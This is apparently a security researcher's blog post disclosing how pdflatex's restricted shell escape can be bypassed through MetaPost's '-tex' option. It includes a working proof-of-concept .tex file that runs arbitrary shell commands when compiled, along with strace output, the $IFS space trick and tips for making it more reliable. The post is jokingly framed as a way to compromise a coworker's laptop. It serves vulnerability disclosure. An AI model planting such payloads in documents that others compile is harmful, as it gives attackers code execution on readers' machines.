Pwning coworkers thanks to LaTeX

Writing reports in LaTeX is painful. However, it's a great occasion to bring joy to the office and pwn a coworker's laptop while he's kindly proofreading your pentest report.

\input and \write18 primitives

A few techniques allow the execution of commands during the conversion of a .tex file to a PDF with pdflatex . It's documented, and the following TeX primitives send commands to the shell:

\immediate\write 18 { bibtex8 --wolfgang \jobname } \input { |bibtex8 --wolfgang \jobname }

On Ubuntu 16.04, /usr/share/texmf/web2c/texmf.cnf configuration file controls the behavior of pdflatex ( texlive-base package). Here's an extract:

% Enable system commands via \write18{...}. When enabled fully (set to % t), obviously insecure. When enabled partially (set to p), only the % commands listed in shell_escape_commands are allowed. Although this % is not fully secure either, it is much better, and so useful that we % enable it for everything but bare tex. shell _ escape = p % No spaces in this command list. % % The programs listed here are as safe as any we know: they either do % not write any output files, respect openout_any, or have hard-coded % restrictions similar or higher to openout_any=p. They also have no % features to invoke arbitrary other programs, and no known exploitable % bugs. All to the best of our knowledge. They also have practical use % for being called from TeX. % shell _ escape _ commands = \ bibtex,bibtex8, \ extractbb, \ kpsewhich, \ makeindex, \ mpost, \ repstopdf, \

Normally, any program listed in shell_escape_commands should be allowed to be executed. Let's verify this. First, create a minimal .tex file:

$ cat <<EOF>x.tex \documentclass{article} \begin{document} \immediate\write18{uname -a} \end{document} EOF

Then verify if uname is actually called thanks to strace :

$ strace -ff -e execve pdflatex x.tex >/dev/null execve ( "/usr/bin/pdflatex" , [ "pdflatex" , "x.tex" ] , [ / * 32 vars * /] ) = 0 +++ exited with 0 +++

As expected, uname -a wasn't executed. Let's replace uname with kpsewhich , which should be allowed:

$ sed -i 's/uname -a/kpsewhich --imminent --pwn/' x.tex $ strace -ff -e execve pdflatex x.tex |& grep execve execve ( "/usr/bin/pdflatex" , [ "pdflatex" , "x.tex" ] , [ / * 32 vars * /] ) = 0 [ pid 14042] execve ( "/bin/sh" , [ "sh" , "-c" , "kpsewhich '--imminent' '--pwn'" ] , [ / * 37 vars * /] ) = 0 [ pid 14043] execve ( "/usr/bin/kpsewhich" , [ "kpsewhich" , "--imminent" , "--pwn" ] , [ / * 37 vars * /] ) = 0

Alright, kpsewhich is really executed, as should any binary in the shell_escape_commands list. According to texmf.cnf , the programs in this list have no features to invoke arbitrary other programs. As we're going to see, this assertion is utterly wrong. Let's check if the binaries ( bibtex , bibtex8 , extractbb , kpsewhich , makeindex , mpost , repstopdf ) handle malicious input correctly.

MetaPost

The mpost command seems particularly interesting because of the -tex option (which isn't documented in the mpost manpage but in the --help option):

-tex=TEXPROGRAM use TEXPROGRAM for text labels

Let's create a minimal MetaPost file, and try a few combination of arguments (I've absolutely no idea of what this command is meant to do, and the source code isn't of great help):

$ cat <<EOF>x.mp verbatimtex \documentclass{minimal} \begin{document} etex beginfig (1) label(btex blah etex, origin); endfig; \end{document} bye EOF $ echo x.mp \ | strace -ff -e execve mpost -ini -tex = "/bin/uname -a" \ |& grep execve execve ( "/usr/bin/mpost" , [ "mpost" , "-ini" , "-tex=/bin/uname -a" ] , [ / * 32 vars * /] ) = 0 [ pid 25508] execve ( "/bin/uname" , [ "/bin/uname" , "-a" , "mpj9sP7Z.tex" ] , [ / * 37 vars * /] ) = 0

Great, uname -a is executed.

Exploitation

As seen above, the execution of arbitrary commands is straightforward. Passing arbitrary arguments to the command line is a little bit more difficult. I didn't manage to put any space in them because of the way arguments are parsed. The function responsible of the command execution is runpopen() (texmfmp.c). It calls shell_cmd_is_allowed() which tells if the given command is allowed (according to shell_escape_commands from the configuration file) and quotes arguments properly. Single quotes ( ' ) aren't allowed. Nevermind, powerful payloads can be written as Python one-liner without requiring any space; but it may be easier to execute shell commands directly thanks to the bash $IFS trick.

Finally, here's a PoC of the vulnerability which executes bash -c '(id;uname${IFS}-sm)>/tmp/pwn' :

$ cat <<EOF>x.mp verbatimtex \documentclass{minimal}\begin{document} etex beginfig (1) label(btex blah etex, origin); endfig; \end{document} bye EOF $ cat <<EOF>x.tex \documentclass{article}\begin{document} \immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"} \end{document} EOF $ cat /tmp/pwn cat: /tmp/pwn: No such file or directory $ pdflatex x.tex >/dev/null fatal: DVI generation failed $ cat /tmp/pwn uid = 1000 ( user ) gid = 1000 ( user ) Linux x86_64

A few tricks can improve the "exploit" reliability. Indeed, this PoC doesn't work if pdflatex isn't lauched from x.mp 's directory (but default .mp files can be specified). The -interaction=nonstopmode option of mpost allows the compilation of the rest of the document even if an error occurs.

Conclusion

I think there are plenty of other ways to get code execution, not only by managing to execute arbitrary command but also by overwriting arbitrary files. The -no-shell-escape option of pdflatex is a workaround which might save you from this specific issue but I wouldn't rely too much on it. Given that pdflatex and related tools are mostly written in old school C , memory corruption bugs are likely to be present…